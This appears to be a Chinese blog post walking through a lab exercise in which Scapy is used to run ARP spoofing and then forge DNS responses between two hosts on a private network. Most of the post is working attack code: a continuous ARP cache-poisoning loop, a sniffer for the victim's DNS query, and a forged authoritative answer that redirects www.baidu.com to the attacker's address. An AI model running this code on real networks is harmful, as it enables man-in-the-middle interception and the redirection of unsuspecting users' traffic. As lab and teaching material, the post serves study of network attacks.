环境准备
主机 A (攻击者): IP 192.168.222.132
主机 B (受害者): IP 192.168.222.133
网关: IP 192.168.222.2
目标DNS: IP 192.168.222.200

按顺序一路往下打就好

题目要求劫持为什么就直接更改rdata=“192.168.222.132”

阶段一:维持 ARP 欺骗 (主机 A - 终端 1)
DNS 欺骗的前提是流量必须经过你。
请在主机 A 打开第一个终端,运行 ARP 欺骗,让主机 B 的流量流向主机 A。

##在主机 A (终端 1) 执行:
==================================================
sudo sysctl -w net.ipv4.ip_forward=1
sudo scapy
==================================================
Scapy中:
victim_ip = "192.168.222.133"
gateway_ip = "192.168.222.2"
pkt1 = ARP(op=2, pdst=victim_ip, psrc=gateway_ip)
pkt2 = ARP(op=2, pdst=gateway_ip, psrc=victim_ip)
print("正在维持 ARP 欺骗 (MITM)...")
send([pkt1, pkt2], loop=1, inter=0.5, verbose=0)
(保持此终端运行,不要关闭)
==================================================
阶段三:攻击者截获并伪造响应 (主机 A - 终端 2)
现在切换到主机 A 的第二个终端,进行核心的手工欺骗操作。
在主机 A (终端 2) 操作:
截获 DNS 请求
==================================================
print("等待受害者的 DNS 请求...")
p_req = sniff(filter="udp port 53 and src host 192.168.222.133", count=1)[0]
p_req[DNS].show()
spoof_ip = IP(src=p_req[IP].dst, dst=p_req[IP].src)
spoof_udp = UDP(sport=p_req[UDP].dport, dport=p_req[UDP].sport)
spoof_dns = DNS(
id = p_req[DNS].id,
qr = 1,
aa = 1,
qd = p_req[DNS].qd,
an = DNSRR(rrname=p_req[DNS].qd.qname, rdata="192.168.222.132")
)
spoof_pkt = spoof_ip / spoof_udp / spoof_dns
print(f"发送伪造 DNS 响应: {p_req[DNS].qd.qname.decode()} -> 192.168.222.132")
send(spoof_pkt)
==================================================
阶段二:受害者发送 DNS 查询 (主机 B)
因为手动操作较慢,我们用 Scapy 模拟受害者的 DNS 请求。由于 ARP 欺骗生效,这个包会被发送到主机 A 的网卡上。
在主机 B 操作:
首先准备接收响应(防止发完包后响应回来得太快错过)。
==================================================
dns_req = IP(dst="192.168.222.200")/UDP(sport=RandShort(), dport=53)/DNS(rd=1, qd=DNSQR(qname="www.baidu.com"))
print("发送 DNS 查询,等待欺骗响应...")
p_response = sr1(dns_req, timeout=60)
 (此时主机 B 会卡住等待,直到主机 A 发回伪造包)
==================================================
阶段四:验证欺骗结果
回到主机 B 查看:
此时主机 B 的 sr1 命令应该已经结束等待,收到了数据包。
==================================================
p_response.show()
p_response[DNS].an.rdata

target_ip = p_response[DNS].an[0].rdata
print(f"正在Ping解析出的地址 {target_ip} ...")
# 使用sr1发送ICMP并等待回复
pkt2 = IP(dst=target_ip) / ICMP()
reply = sr1(pkt2, timeout=5)
print(f"收到来自 {reply[IP].src} 的ICMP回复")


==================================================
结论:主机 B 想要访问百度,询问了 192.168.222.200,但主机 A 在中间截获了请求,并伪装成 192.168.222.200 告诉主机 B:"百度的 IP 是 192.168.222.132"。DNS 欺骗成功!
posted on 2026-01-14 09:38  suiseiseki  阅读(12)  评论(0)    收藏  举报